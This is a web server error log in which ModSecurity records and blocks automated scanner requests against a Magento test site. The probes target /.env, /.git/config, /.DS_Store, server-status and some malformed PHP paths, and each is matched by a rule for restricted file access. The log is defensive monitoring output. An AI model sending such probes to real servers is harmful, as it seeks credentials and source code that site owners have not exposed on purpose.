[Sat Nov 08 09:36:19.653020 2025] [:error] [pid 4095502] [client 159.89.127.165:42992] [client 159.89.127.165] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQ8BA8RxrFwHjWM9bshfTQAAAAg"]
[Sat Nov 08 09:36:19.998917 2025] [:error] [pid 4095013] [client 159.89.127.165:42994] [client 159.89.127.165] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQ8BAwL2_mVywaxmP86lwQAAAAA"]
[Sat Nov 08 09:36:19.999131 2025] [:error] [pid 4095013] [client 159.89.127.165:42994] [client 159.89.127.165] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQ8BAwL2_mVywaxmP86lwQAAAAA"]
[Sat Nov 08 09:36:19.999295 2025] [:error] [pid 4095013] [client 159.89.127.165:42994] [client 159.89.127.165] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQ8BAwL2_mVywaxmP86lwQAAAAA"]
[Sat Nov 08 19:35:18.125903 2025] [authz_core:error] [pid 4095049] [client 188.166.108.93:35016] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sat Nov 08 19:35:18.505180 2025] [:error] [pid 4103431] [client 188.166.108.93:35036] [client 188.166.108.93] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQ-NZuaNV4JD36fly5HyiQAAAAI"]
[Sat Nov 08 19:35:18.505410 2025] [:error] [pid 4103431] [client 188.166.108.93:35036] [client 188.166.108.93] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQ-NZuaNV4JD36fly5HyiQAAAAI"]
[Sat Nov 08 19:35:18.505577 2025] [:error] [pid 4103431] [client 188.166.108.93:35036] [client 188.166.108.93] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQ-NZuaNV4JD36fly5HyiQAAAAI"]
[Sat Nov 08 19:35:18.618884 2025] [:error] [pid 4099466] [client 188.166.108.93:35052] [client 188.166.108.93] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQ-NZv0s1v4jWCPyFIEj2wAAAAk"]
[Sat Nov 08 19:35:18.619131 2025] [:error] [pid 4099466] [client 188.166.108.93:35052] [client 188.166.108.93] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQ-NZv0s1v4jWCPyFIEj2wAAAAk"]
[Sat Nov 08 19:35:18.619293 2025] [:error] [pid 4099466] [client 188.166.108.93:35052] [client 188.166.108.93] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQ-NZv0s1v4jWCPyFIEj2wAAAAk"]
[Sat Nov 08 19:35:18.748239 2025] [:error] [pid 4108950] [client 188.166.108.93:35068] [client 188.166.108.93] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQ-NZhtZ9MRCsxxeZlj1yQAAAAE"]
[Sat Nov 08 19:35:18.748475 2025] [:error] [pid 4108950] [client 188.166.108.93:35068] [client 188.166.108.93] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQ-NZhtZ9MRCsxxeZlj1yQAAAAE"]
[Sat Nov 08 19:35:18.748650 2025] [:error] [pid 4108950] [client 188.166.108.93:35068] [client 188.166.108.93] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQ-NZhtZ9MRCsxxeZlj1yQAAAAE"]
[Sun Nov 09 00:19:44.129249 2025] [:error] [pid 4118590] [client 130.33.59.10:9188] [client 130.33.59.10] ModSecurity: Warning. Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "343"] [id "920220"] [msg "URL Encoding Abuse Attack Attempt"] [data "/2%.php"] [severity "WARNING"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/EVASION"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/2%.php"] [unique_id "aQ_QEDKrY3ZHgQPPeNRXGgAAAAM"]
[Sun Nov 09 00:19:44.129766 2025] [core:error] [pid 4118590] [client 130.33.59.10:9188] AH10244: invalid URI path (/pub/2%.php)
[Sun Nov 09 00:19:45.320133 2025] [:error] [pid 4118627] [client 130.33.59.10:9165] [client 130.33.59.10] ModSecurity: Warning. Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "343"] [id "920220"] [msg "URL Encoding Abuse Attack Attempt"] [data "/1%.php"] [severity "WARNING"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/EVASION"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/1%.php"] [unique_id "aQ_QEa-FP7yEjKCQ9E2hNAAAAAE"]
[Sun Nov 09 00:19:45.322166 2025] [core:error] [pid 4118627] [client 130.33.59.10:9165] AH10244: invalid URI path (/pub/1%.php)
[Sun Nov 09 00:19:51.720472 2025] [:error] [pid 4118911] [client 130.33.59.10:9097] [client 130.33.59.10] ModSecurity: Warning. Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "343"] [id "920220"] [msg "URL Encoding Abuse Attack Attempt"] [data "/0%.php"] [severity "WARNING"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/EVASION"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/0%.php"] [unique_id "aQ_QFxyAXNRLPFohuPiaMQAAAAI"]
[Sun Nov 09 00:19:51.721025 2025] [core:error] [pid 4118911] [client 130.33.59.10:9097] AH10244: invalid URI path (/pub/0%.php)
[Sun Nov 09 05:06:08.660934 2025] [:error] [pid 4121444] [client 176.65.148.212:43028] [client 176.65.148.212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRATMP5qEIQiNNW9ta4eQgAAAAI"]
[Sun Nov 09 05:06:08.661244 2025] [:error] [pid 4121444] [client 176.65.148.212:43028] [client 176.65.148.212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRATMP5qEIQiNNW9ta4eQgAAAAI"]
[Sun Nov 09 05:06:08.661406 2025] [:error] [pid 4121444] [client 176.65.148.212:43028] [client 176.65.148.212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRATMP5qEIQiNNW9ta4eQgAAAAI"]
[Sun Nov 09 15:00:12.469781 2025] [:error] [pid 4133087] [client 204.76.203.25:49354] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRCebK9MX1cZSJ0nC8MwRwAAAAI"]
[Sun Nov 09 15:00:12.470026 2025] [:error] [pid 4133087] [client 204.76.203.25:49354] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRCebK9MX1cZSJ0nC8MwRwAAAAI"]
[Sun Nov 09 15:00:12.470179 2025] [:error] [pid 4133087] [client 204.76.203.25:49354] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRCebK9MX1cZSJ0nC8MwRwAAAAI"]
[Mon Nov 10 11:30:30.481188 2025] [authz_core:error] [pid 4146483] [client 146.190.63.248:41214] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Mon Nov 10 11:30:32.113669 2025] [:error] [pid 4146498] [client 146.190.63.248:41242] [client 146.190.63.248] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRG-yH9BDuFoT-Me1hI_PQAAAAc"]
[Mon Nov 10 11:30:32.113875 2025] [:error] [pid 4146498] [client 146.190.63.248:41242] [client 146.190.63.248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRG-yH9BDuFoT-Me1hI_PQAAAAc"]
[Mon Nov 10 11:30:32.114037 2025] [:error] [pid 4146498] [client 146.190.63.248:41242] [client 146.190.63.248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRG-yH9BDuFoT-Me1hI_PQAAAAc"]
[Mon Nov 10 11:30:32.613902 2025] [:error] [pid 4146497] [client 146.190.63.248:41258] [client 146.190.63.248] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRG-yGk_ZOxM2RQC8XBiIAAAAAY"]
[Mon Nov 10 11:30:32.614124 2025] [:error] [pid 4146497] [client 146.190.63.248:41258] [client 146.190.63.248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRG-yGk_ZOxM2RQC8XBiIAAAAAY"]
[Mon Nov 10 11:30:32.614299 2025] [:error] [pid 4146497] [client 146.190.63.248:41258] [client 146.190.63.248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRG-yGk_ZOxM2RQC8XBiIAAAAAY"]
[Mon Nov 10 11:30:33.120149 2025] [:error] [pid 4149034] [client 146.190.63.248:41262] [client 146.190.63.248] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRG-ybrzr4uBvRHfxzKZHAAAAAs"]
[Mon Nov 10 11:30:33.120370 2025] [:error] [pid 4149034] [client 146.190.63.248:41262] [client 146.190.63.248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRG-ybrzr4uBvRHfxzKZHAAAAAs"]
[Mon Nov 10 11:30:33.120537 2025] [:error] [pid 4149034] [client 146.190.63.248:41262] [client 146.190.63.248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRG-ybrzr4uBvRHfxzKZHAAAAAs"]
[Mon Nov 10 19:09:18.445799 2025] [authz_core:error] [pid 4146482] [client 64.226.65.160:45448] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Mon Nov 10 19:09:19.267192 2025] [:error] [pid 4160387] [client 64.226.65.160:45482] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRIqT5gG_ofj0zHpbynTmQAAAAU"]
[Mon Nov 10 19:09:19.267394 2025] [:error] [pid 4160387] [client 64.226.65.160:45482] [client 64.226.65.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRIqT5gG_ofj0zHpbynTmQAAAAU"]
[Mon Nov 10 19:09:19.267542 2025] [:error] [pid 4160387] [client 64.226.65.160:45482] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRIqT5gG_ofj0zHpbynTmQAAAAU"]
[Mon Nov 10 19:09:19.349077 2025] [:error] [pid 4160391] [client 64.226.65.160:45498] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRIqTwuxep10eq_JJdvxXQAAAA0"]
[Mon Nov 10 19:09:19.349281 2025] [:error] [pid 4160391] [client 64.226.65.160:45498] [client 64.226.65.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRIqTwuxep10eq_JJdvxXQAAAA0"]
[Mon Nov 10 19:09:19.349432 2025] [:error] [pid 4160391] [client 64.226.65.160:45498] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRIqTwuxep10eq_JJdvxXQAAAA0"]
[Mon Nov 10 19:09:19.447290 2025] [:error] [pid 4149034] [client 64.226.65.160:45500] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRIqT7rzr4uBvRHfxzKaiAAAAAs"]
[Mon Nov 10 19:09:19.447498 2025] [:error] [pid 4149034] [client 64.226.65.160:45500] [client 64.226.65.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRIqT7rzr4uBvRHfxzKaiAAAAAs"]
